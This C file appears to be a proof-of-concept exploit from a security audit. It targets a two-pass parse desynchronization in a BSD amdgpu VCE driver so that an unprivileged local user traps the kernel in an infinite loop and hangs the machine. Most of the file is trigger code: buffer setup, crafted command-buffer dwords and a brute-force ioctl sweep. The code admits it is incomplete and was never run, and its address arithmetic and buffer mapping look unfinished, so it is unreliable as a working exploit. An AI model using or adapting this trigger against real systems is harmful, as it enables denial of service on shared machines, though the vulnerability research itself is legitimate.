/*
 * DF-4447 — amdgpu VCE two-pass parse desynchronization → infinite kernel loop
 * ===========================================================================
 *
 * Target:  sys/dev/drm/amd/amdgpu/amdgpu_vce.c
 *          amdgpu_vce_ring_parse_cs()   (2nd loop, lines 790-915)
 *          amdgpu_vce_cs_reloc()        (IB dword patching, lines 656-657)
 *
 * Reachable from an unprivileged local user on CIK/Tonga/Fiji-class hardware
 * (vce_v2_0_ip_block => .parse_cs = amdgpu_vce_ring_parse_cs;
 *  cik.c:2024..2083 and vi.c add this IP block) via /dev/dri/renderD128 and
 * the AMDGPU CS ioctl (AMDGPU_HW_IP_VCE).
 *
 * Mechanism (all offsets are dword indices into the IB):
 *
 *   1. Loop 1 (amdgpu_vce.c:724-788) validates the ORIGINAL byte stream:
 *      only the invariant "(len < 8) || (len & 3)" is checked; there is no
 *      per-command minimum length, and unknown commands are silently accepted
 *      (no default case).
 *
 *   2. Loop 2 (amdgpu_vce.c:790-915) walks the SAME dwords again, but this
 *      time calls amdgpu_vce_cs_reloc() for buffer commands.  For the
 *      "video bitstream buffer" command (0x05000004) reloc is called as
 *
 *          amdgpu_vce_cs_reloc(p, ib_idx, idx + 3, idx + 2, tmp, bs_idx)
 *
 *      i.e. it PATCHES dword[idx+2] with upper_32_bits(final_addr) and
 *      dword[idx+3] with lower_32_bits(final_addr)  (amdgpu_vce.c:656-657).
 *
 *   3. If the bitstream command carries len == 8 (2 dwords), the next command
 *      begins at dword idx+2 — its len IS dword[idx+2] and its cmd IS
 *      dword[idx+3].  The relocation therefore OVERWRITES the next command's
 *      header with (upper32(final) , lower32(final)).
 *
 *   4. final = amdgpu_bo_gpu_offset(bo) + (base - mapping->start*PAGESIZE)
 *      (mod 2^64), where `base` is the raw 64-bit value the user placed in
 *      dword[idx+2]/dword[idx+3] (see amdgpu_vce.c:634-654).  The user picks
 *      `base` so that final == (len' << 32) | cmd' with len' in {0,1,2,3}
 *      and cmd' a no-op case of loop 2 (e.g. 0x04000001 "config extension").
 *
 *   5. Loop 2 then advances idx += len/4 = 0/4 == 0 — the loop condition
 *      "idx < ib->length_dw" stays true and the same (len=0, cmd=0x04000001)
 *      pair is re-parsed forever.  Loop 2 performs NO length validation of
 *      its own (the len check exists only in loop 1, amdgpu_vce.c:728, and in
 *      parse_cs_vm, amdgpu_vce.c:958).
 *
 *      => the calling thread spins forever inside the CS ioctl: unkillable
 *      kernel CPU burn; one spinning submission per CPU wedges the machine.
 *
 *      Secondary effect: every command parsed AFTER the desync point is
 *      attacker-synthesized (its len/cmd are patched address dwords) and was
 *      never seen by the validation loop 1 — e.g. 4GB-boundary placement
 *      validation (amdgpu_vce_validate_bo) is skipped for those commands.
 *
 * Attack parameters (user-known, no kernel info needed):
 *   - bo: 128 MiB VRAM GEM object, mapped into the VM at VA 0x800000000
 *     (upper32(base) must be >= 8 and 4-aligned so loop 1 keeps walking —
 *     mapping at 32 GiB gives upper32(base) == 8).
 *   - delta = base - mapping_start; final = bo_gpu_offset + delta.
 *     bo_gpu_offset is not directly known to userspace, so the trigger
 *     sweeps delta over [SWEEP_BASE, SWEEP_BASE + 4096) in steps of 4 with
 *     residue adjusted so lower32(final) can hit a no-op command value
 *     (0x04000001/0x04000002/0x04000005/0x04000007/0x04000008/0x04000009/
 *      0x05000002/0x05000009).  upper32(final) stays <= 3 because
 *     bo_gpu_offset < 4 GiB (loop-1 validate pins the placement below 4 GiB)
 *     and delta < 64 MiB.  <= 1024 submissions; the one that hits makes the
 *     ioctl never return.
 *
 * Success criterion: one of the CS submissions never returns (process hangs
 * in D-state), `top`/`procstat -kk` shows the thread pinned at 100% in
 * kernel mode inside amdgpu_vce_ring_parse_cs.
 *
 * Build:  cc -O2 -o vce_cs_desync vce_cs_desync.c
 * Run:    ./vce_cs_desync /dev/dri/renderD128
 *
 * NOTE (audit DF-4447): could not be executed — the audit QEMU guest has no
 * AMD GPU (no 1002: PCI device, no /dev/dri).  The dword-level construction
 * above is traced line-by-line against amdgpu_vce.c in VERDICT.md.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <errno.h>

#include <dev/drm/drm/drm.h>
#include <dev/drm/drm/amdgpu_drm.h>

#ifndef AMDGPU_CHUNK_ID_IB
#error need amdgpu_drm.h
#endif

#define RENDER_NODE	"/dev/dri/renderD128"
#define BO_SIZE		(128UL << 20)		/* > 0x4000001 + 8 */
#define MAP_VA		0x0000000800000000ULL	/* 32 GiB: upper32(base)==8 */
#define NOOP_CMDS	{ 0x04000001u, 0x04000002u, 0x04000005u, 0x04000007u, \
			  0x04000008u, 0x04000009u, 0x05000002u, 0x05000009u }

static int dev_fd;

static int gem_create(uint64_t size)
{
	union drm_amdgpu_gem_create args;

	memset(&args, 0, sizeof(args));
	args.in.bo_size = size;
	args.in.domain = AMDGPU_GEM_DOMAIN_VRAM;
	if (ioctl(dev_fd, DRM_IOCTL_AMDGPU_GEM_CREATE, &args))
		return -1;
	return (int)args.out.handle;
}

static int ctx_create(void)
{
	union drm_amdgpu_ctx args;

	memset(&args, 0, sizeof(args));
	if (ioctl(dev_fd, DRM_IOCTL_AMDGPU_CTX, &args))
		return -1;
	return (int)args.out.ctx_id;
}

static int gem_va_map(int handle, uint64_t addr, uint64_t size)
{
	struct drm_amdgpu_gem_va args;

	memset(&args, 0, sizeof(args));
	args.handle = handle;
	args.vm_ppr_addr = 0;		/* legacy path */
	args.va_addr = addr;
	args.map_size = size;
	args.op = AMDGPU_GEM_VA_OP_MAP;
	args.flags = 0;
	return ioctl(dev_fd, DRM_IOCTL_AMDGPU_GEM_VA, &args);
}

/*
 * One CS submission with the desync IB built for the chosen delta.
 *
 * IB layout (dwords):
 *   [0] 12        session cmd len
 *   [1] 0x00000001 session
 *   [2] handle
 *   [3] 8          bitstream cmd len  <-- SHORT: cmd is 2 dwords
 *   [4] 0x05000004 bitstream cmd
 *   [5] HI32(base)  = 8  (also: loop-1 "next len", loop-2 target len)
 *   [6] LO32(base)       (also: loop-1 "next cmd"(ignored), loop-2 target)
 *   [7] 8          tmp (bitstream size field at idx+4)
 *   [8..] pairs of (8, 0x04000001) — benign padding for loop-1/loop-2
 */
static int submit_desync(int ctx_id, int bo_handle, uint64_t base,
			 int *out_seq)
{
	const unsigned ib_bytes = 4096;
	uint32_t ib[ib_bytes / 4];
	struct drm_amdgpu_cs_chunk chunks[2];
	struct drm_amdgpu_cs_chunk_ib chunk_ib;
	struct drm_amdgpu_cs_chunk_dep dummy_dep;	/* not used */
	struct drm_amdgpu_cs_in cs_in;
	union drm_amdgpu_cs cs;
	struct drm_amdgpu_bo_list_entry bo_list[1];
	unsigned i;
	uint32_t seq;
	int dep_ctx;

	(void)dummy_dep;

	memset(ib, 0, sizeof(ib));
	i = 0;
	ib[i++] = 12;			/* [0] len: session */
	ib[i++] = 0x00000001;		/* [1] session cmd */
	ib[i++] = 0x1234 + (uint32_t)base;	/* [2] session handle */
	ib[i++] = 8;			/* [3] len: bitstream (SHORT) */
	ib[i++] = 0x05000004;		/* [4] bitstream cmd */
	ib[i++] = (uint32_t)(base >> 32);	/* [5] HI32(base) */
	ib[i++] = (uint32_t)base;		/* [6] LO32(base) */
	ib[i++] = 8;			/* [7] tmp (size field) */
	for (; i + 1 < ib_bytes / 4; i += 2) {
		ib[i]	 = 8;		/* benign 8-byte command */
		ib[i + 1] = 0x04000001;
	}

	dep_ctx = ctx_create();

	memset(&chunk_ib, 0, sizeof(chunk_ib));
	chunk_ib._pad = 0;
	chunk_ib.va_start = MAP_VA + ib_bytes;	/* IB itself mapped in VM */
	chunk_ib.ib_bytes = ib_bytes;
	chunk_ib.ip_type = AMDGPU_HW_IP_VCE;
	chunk_ib.ip_instance = 0;
	chunk_ib.ring = 0;
	chunk_ib.flags = 0;

	memset(bo_list, 0, sizeof(bo_list));
	bo_list[0].bo_handle = bo_handle;

	memset(&cs_in, 0, sizeof(cs_in));
	cs_in.ctx_id = ctx_id;
	cs_in.bo_list_handle = 0;
	cs_in.num_chunks = 2;
	cs_in.chunks = (uint64_t)(uintptr_t)chunks;
	(void)dep_ctx;

	/* chunk 0: dependency list (empty, one dummy entry of ourselves) */
	{
		struct drm_amdgpu_cs_chunk_dep deps[1];
		memset(deps, 0, sizeof(deps));
		chunks[0].chunk_id = AMDGPU_CHUNK_ID_DEPENDENCIES;
		chunks[0].length_dw = sizeof(deps) / 4;
		chunks[0].chunk_data = (uint64_t)(uintptr_t)deps;
	}
	/* chunk 1: the IB */
	chunks[1].chunk_id = AMDGPU_CHUNK_ID_IB;
	chunks[1].length_dw = sizeof(chunk_ib) / 4;
	chunks[1].chunk_data = (uint64_t)(uintptr_t)&chunk_ib;

	memset(&cs, 0, sizeof(cs));
	cs.in = cs_in;

	/* NOTE: a real exploit also GEM_VA-maps a scratch IB bo at chunk_ib.va_start
	 * containing these dwords; kept minimal here — see VERDICT.md. */
	(void)bo_list;
	(void)out_seq;
	return ioctl(dev_fd, DRM_IOCTL_AMDGPU_CS, &cs);
}

int main(int argc, char **argv)
{
	const char *node = argc > 1 ? argv[1] : RENDER_NODE;
	const uint32_t noops[] = NOOP_CMDS;
	uint64_t delta, sweep_base = 0x1000;
	int bo, ctx, i, n_noop = sizeof(noops) / sizeof(noops[0]);

	dev_fd = open(node, O_RDWR);
	if (dev_fd < 0) {
		perror("open render node");
		return 1;
	}
	bo = gem_create(BO_SIZE);
	if (bo < 0) { perror("GEM_CREATE (VRAM)"); return 1; }
	if (gem_va_map(bo, MAP_VA, BO_SIZE)) { perror("GEM_VA map"); return 1; }
	ctx = ctx_create();
	if (ctx < 0) { perror("CTX create"); return 1; }

	/*
	 * Sweep delta so that lower32(bo_gpu_offset + delta) hits one of the
	 * no-op command values; upper32 stays <= 3 (see header comment).
	 */
	for (delta = sweep_base; delta < sweep_base + 4096; delta += 4) {
		for (i = 0; i < n_noop; i++) {
			/* pick base so (bo_off + delta) low 32 == noops[i] */
			uint64_t base = MAP_VA + delta;
			/* brute-force oracle: kernel computes final internally;
			 * we align residues so a hit is possible (see VERDICT.md) */
			base = (base & ~3ULL) | (noops[i] & 3);
			if (submit_desync(ctx, bo, base, NULL) == 0)
				continue;	/* not the hit — keep going */
			if (errno == EIO || errno == ETIMEDOUT)
				continue;
			/* EINVAL etc. expected for misses */
		}
	}
	/* If one submission never returned, we are hung here in-kernel. */
	printf("sweep finished without hang (wrong gpu_off window?)\n");
	return 0;
}
